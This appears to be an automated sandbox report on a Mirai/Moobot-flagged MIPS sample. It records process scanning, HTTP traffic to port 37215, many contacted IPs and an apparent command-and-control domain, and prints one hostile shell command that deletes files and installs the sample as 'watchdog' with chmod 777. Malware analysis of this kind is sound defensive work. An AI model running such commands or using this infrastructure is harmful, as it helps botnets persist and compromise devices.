Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/127/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/6/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/248/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/128/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/249/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1463/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/800/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/9/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/801/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/20/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/21/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1900/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/22/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/23/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/24/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/25/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/26/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/27/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/28/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/29/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/491/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/250/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/130/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/251/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/252/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/132/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/253/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/254/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/255/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/256/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1599/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/257/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/379/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/258/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1476/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/259/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1475/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/936/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/30/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/2208/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/35/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1809/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/1494/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/260/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/261/cmdline Jump to behavior
Source: /tmp/8lsvVMbYw7.elf (PID: 6221) File opened: /proc/141/cmdline Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 6218) File: /tmp/bin/watchdog (bits: - usr: rwx grp: rwx all: rwx) Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/8lsvVMbYw7.elf (PID: 6213) Shell command executed: sh -c "rm -rf bin/watchdog && mkdir bin; >bin/watchdog && mv /tmp/8lsvVMbYw7.elf bin/watchdog; chmod 777 bin/watchdog" Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/sh (PID: 6215) Rm executable: /usr/bin/rm -> rm -rf bin/watchdog Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45328 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 45328
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 39438 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37918 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 58096 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 58096
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 47896 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 53672 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 49508 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42520 -> 37215
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/8lsvVMbYw7.elf (PID: 6211) Queries kernel information via 'uname': Jump to behavior
Source: 8lsvVMbYw7.elf, 6211.1.000055f113c26000.000055f113cad000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: 8lsvVMbYw7.elf, 6211.1.000055f113c26000.000055f113cad000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: 8lsvVMbYw7.elf, 6211.1.00007ffcfa1dd000.00007ffcfa1fe000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips
Source: 8lsvVMbYw7.elf, 6211.1.00007ffcfa1dd000.00007ffcfa1fe000.rw-.sdmp Binary or memory string: nx86_64/usr/bin/qemu-mips/tmp/8lsvVMbYw7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/8lsvVMbYw7.elf

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY
Yara detected Moobot
Source: Yara match File source: 8lsvVMbYw7.elf, type: SAMPLE
Source: Yara match File source: 6211.1.00007f3790400000.00007f3790414000.r-x.sdmp, type: MEMORY

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
41.122.249.23
 unknown South Africa
16637 MTNNS-ASZA false
197.216.246.226
 unknown Angola
11259 ANGOLATELECOMAO false
41.215.59.33
 unknown Kenya
15808 ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE false
108.47.210.80
 unknown United States
5650 FRONTIER-FRTRUS false
86.2.184.216
 unknown United Kingdom
5089 NTLGB false
197.187.29.137
 unknown Tanzania United Republic of
37133 airtel-tz-asTZ false
197.164.30.176
 unknown Egypt
24863 LINKdotNET-ASEG false
163.159.243.10
 unknown Slovenia
15435 KABELFOONDELTAFiberNederlandNL false
85.3.140.152
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
157.163.19.152
 unknown Germany
22192 SSHENETUS false
157.114.152.203
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
197.215.104.9
 unknown Sierra Leone
37164 ZAIN-SL false
41.165.220.194
 unknown South Africa
36937 Neotel-ASZA false
41.51.170.24
 unknown South Africa
37168 CELL-CZA false
157.155.254.125
 unknown Australia
17983 COLESMYER-AS-APColesMyerAU false
41.213.144.200
 unknown Reunion
37002 ReunicableRE false
157.26.73.179
 unknown Switzerland
559 SWITCHPeeringrequestspeeringswitchchEU false
197.225.163.192
 unknown Mauritius
23889 MauritiusTelecomMU false
203.117.207.148
 unknown Singapore
4657 STARHUB-INTERNETStarHubLtdSG false
41.83.144.208
 unknown Senegal
8346 SONATEL-ASAutonomousSystemEU false
41.76.254.8
 unknown Nigeria
37286 NG-ICT-FORUMNG false
197.5.202.118
 unknown Tunisia
5438 ATI-TN false
117.90.147.24
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
157.139.31.146
 unknown United States
20252 JSIWMCUS false
70.43.200.100
 unknown United States
7029 WINDSTREAMUS false
197.211.54.73
 unknown Nigeria
37148 globacom-asNG false
124.245.211.133
 unknown Japan 7671 MCNETNTTSmartConnectCorporationJP false
93.213.159.141
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
134.61.198.10
 unknown Germany
47610 RWTH-ASDE false
107.118.129.135
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
157.175.206.68
 unknown United States
16509 AMAZON-02US false
197.136.212.68
 unknown Kenya
36914 KENET-ASKE false
197.240.178.142
 unknown unknown
37705 TOPNETTN false
41.12.83.171
 unknown South Africa
29975 VODACOM-ZA false
143.20.10.228
 unknown United States
264008 LANCAMANTOANISERVICOSDEINFORMATICALTDA-MEBR false
197.69.35.16
 unknown South Africa
16637 MTNNS-ASZA false
197.173.143.31
 unknown South Africa
37168 CELL-CZA false
157.215.57.56
 unknown United States
4704 SANNETRakutenMobileIncJP false
41.224.199.212
 unknown Tunisia
37492 ORANGE-TN false
53.174.9.169
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
157.220.249.137
 unknown United States
4704 SANNETRakutenMobileIncJP false
144.177.101.154
 unknown Norway
4788 TMNET-AS-APTMNetInternetServiceProviderMY false
157.37.64.93
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
96.195.150.65
 unknown United States
7922 COMCAST-7922US false
197.12.117.173
 unknown Tunisia
37703 ATLAXTN false
197.46.218.171
 unknown Egypt
8452 TE-ASTE-ASEG false
106.90.178.87
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
121.166.75.153
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
197.180.156.79
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
197.17.21.185
 unknown Tunisia
37693 TUNISIANATN false
157.120.215.120
 unknown Japan 9604 FSI-ASFUJISOFTINCORPORATEDJP false
197.204.213.186
 unknown Algeria
36947 ALGTEL-ASDZ false
197.179.230.74
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
41.231.153.146
 unknown Tunisia
5438 ATI-TN false
166.204.123.155
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
41.130.176.218
 unknown Egypt
24863 LINKdotNET-ASEG false
197.99.166.220
 unknown South Africa
3741 ISZA false
197.165.117.160
 unknown Egypt
24863 LINKdotNET-ASEG false
61.199.88.126
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
157.42.18.29
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
186.236.123.240
 unknown Brazil
53131 GBTECNOLOGIAEMONITORAMENTOEIRELIBR false
41.121.55.46
 unknown South Africa
16637 MTNNS-ASZA false
157.148.116.57
 unknown China
136958 UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN false
186.65.237.188
 unknown Chile
27680 TELEFONICAMOVILDECHILESACL false
39.150.131.210
 unknown China
24445 CMNET-V4HENAN-AS-APHenanMobileCommunicationsCoLtdCN false
41.205.215.93
 unknown Morocco
36925 ASMediMA false
68.179.215.229
 unknown United States
10430 WA-K20US false
157.139.31.134
 unknown United States
20252 JSIWMCUS false
151.253.220.12
 unknown United Arab Emirates
5384 EMIRATES-INTERNETEmiratesInternetAE false
197.73.232.47
 unknown South Africa
16637 MTNNS-ASZA false
197.96.225.174
 unknown South Africa
3741 ISZA false
13.59.33.208
 unknown United States
16509 AMAZON-02US false
41.3.151.154
 unknown South Africa
29975 VODACOM-ZA false
197.227.254.209
 unknown Mauritius
23889 MauritiusTelecomMU false
197.239.252.138
 unknown unknown
36974 AFNET-ASCI false
98.178.75.120
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
41.44.168.31
 unknown Egypt
8452 TE-ASTE-ASEG false
41.217.104.40
 unknown Nigeria
37340 SpectranetNG false
197.222.122.211
 unknown Egypt
37069 MOBINILEG false
41.108.245.6
 unknown Algeria
36947 ALGTEL-ASDZ false
41.15.56.36
 unknown South Africa
29975 VODACOM-ZA false
157.121.53.53
 unknown United States
2514 INFOSPHERENTTPCCommunicationsIncJP false
157.146.115.27
 unknown United States
719 ELISA-ASHelsinkiFinlandEU false
197.122.223.222
 unknown Egypt
36992 ETISALAT-MISREG false
41.3.83.208
 unknown South Africa
29975 VODACOM-ZA false
41.36.233.3
 unknown Egypt
8452 TE-ASTE-ASEG false
131.124.97.114
 unknown United States
15329 UNASSIGNED false
197.200.106.225
 unknown Algeria
36947 ALGTEL-ASDZ false
157.37.88.95
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
41.216.98.181
 unknown Mauritius
37006 LiquidTelecommunicationRwandaRW false
39.147.18.97
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
197.202.209.139
 unknown Algeria
36947 ALGTEL-ASDZ false
157.227.53.36
 unknown Australia
4704 SANNETRakutenMobileIncJP false
197.109.110.86
 unknown South Africa
37168 CELL-CZA false
178.40.173.81
 unknown Slovakia (SLOVAK Republic)
6855 SK-TELEKOMSK false
187.60.245.182
 unknown Brazil
28161 PiernetTelecomBR false
157.157.39.30
 unknown Iceland
6677 ICENET-AS1IS false
197.193.180.204
 unknown Egypt
36992 ETISALAT-MISREG false
157.101.52.55
 unknown Japan 27947 TelconetSAEC false
41.83.26.215
 unknown Senegal
8346 SONATEL-ASAutonomousSystemEU false

Contacted Domains

Name IP Active
j.xnyidc.top 156.224.24.249 true